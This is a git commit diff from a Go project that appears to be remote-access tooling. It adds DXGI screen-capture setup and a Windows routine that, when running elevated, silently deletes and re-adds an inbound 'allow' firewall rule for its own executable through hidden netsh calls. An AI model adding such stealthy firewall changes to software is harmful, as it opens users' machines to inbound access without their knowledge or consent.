add firewall notification and fix GPU mode in shellcode

This commit is contained in:
KingKDot
2026-05-18 11:01:42 -05:00
parent b8121ade9a
commit c76d2aaa44
8 changed files with 105 additions and 4 deletions
@@ -32,8 +32,11 @@ const (
var (
dxgiDLL = syscall.NewLazyDLL("dxgi.dll")
d3d11DLL = syscall.NewLazyDLL("d3d11.dll")
ole32DXGIDll = syscall.NewLazyDLL("ole32.dll")
procCreateDXGIFactory1 = dxgiDLL.NewProc("CreateDXGIFactory1")
procD3D11CreateDevice = d3d11DLL.NewProc("D3D11CreateDevice")
procCoInitDXGI = ole32DXGIDll.NewProc("CoInitializeEx")
dxgiComInit sync.Once
)
var (
@@ -863,6 +866,13 @@ func cloneRGBA(src *image.RGBA) *image.RGBA {
}
func (s *duplicationState) ensure(display int) error {
dxgiComInit.Do(func() {
const coinitMultithreaded = 0x0
hr, _, _ := procCoInitDXGI.Call(0, coinitMultithreaded)
if hr != S_OK && hr != 1 {
log.Printf("capture: CoInitializeEx for DXGI failed: 0x%x", hr)
}
})
const dxgiDeviceMaxAge = 4 * time.Hour
if s.dup != nil && s.display == display {
if !s.createdAt.IsZero() && time.Since(s.createdAt) > dxgiDeviceMaxAge {
@@ -0,0 +1,5 @@
//go:build !windows && overlord_webrtc
package webrtcpub
func ensureFirewallRule() {}
@@ -0,0 +1,48 @@
//go:build windows && overlord_webrtc
package webrtcpub
import (
"log"
"os"
"os/exec"
"path/filepath"
"sync"
"syscall"
"golang.org/x/sys/windows"
)
const createNoWindowFlag = 0x08000000
var firewallOnce sync.Once
func ensureFirewallRule() {
firewallOnce.Do(func() {
if !windows.GetCurrentProcessToken().IsElevated() {
return
}
exe, err := os.Executable()
if err != nil {
return
}
if resolved, err := filepath.EvalSymlinks(exe); err == nil {
exe = resolved
}
ruleName := filepath.Base(exe)
hidden := &syscall.SysProcAttr{HideWindow: true, CreationFlags: createNoWindowFlag}
del := exec.Command("netsh", "advfirewall", "firewall", "delete", "rule",
"name="+ruleName, "program="+exe)
del.SysProcAttr = hidden
_ = del.Run()
add := exec.Command("netsh", "advfirewall", "firewall", "add", "rule",
"name="+ruleName, "dir=in", "action=allow", "program="+exe, "enable=yes")
add.SysProcAttr = hidden
if err := add.Run(); err != nil {
log.Printf("webrtcpub: firewall rule add failed: %v", err)
}
})
}
@@ -41,6 +41,7 @@ func p2pSessionKey(kind Kind, sessionID string) string {
// browser side decides via its transceivers what to ask for. Trickle ICE
// candidates emitted by Pion are delivered to opts.OnICE.
func StartP2POffer(ctx context.Context, kind Kind, sessionID string, offerSDP string, opts P2POfferCallbacks, hasVideo, hasAudio bool) (string, error) {
ensureFirewallRule()
_ = ctx
if sessionID == "" {
return "", errors.New("webrtcpub: empty sessionID")
@@ -66,6 +66,7 @@ var (
)
func Start(ctx context.Context, kind Kind, opts Options) (*Publisher, error) {
ensureFirewallRule()
if strings.TrimSpace(opts.WhipURL) == "" {
return nil, errors.New("webrtcpub: empty WhipURL")
}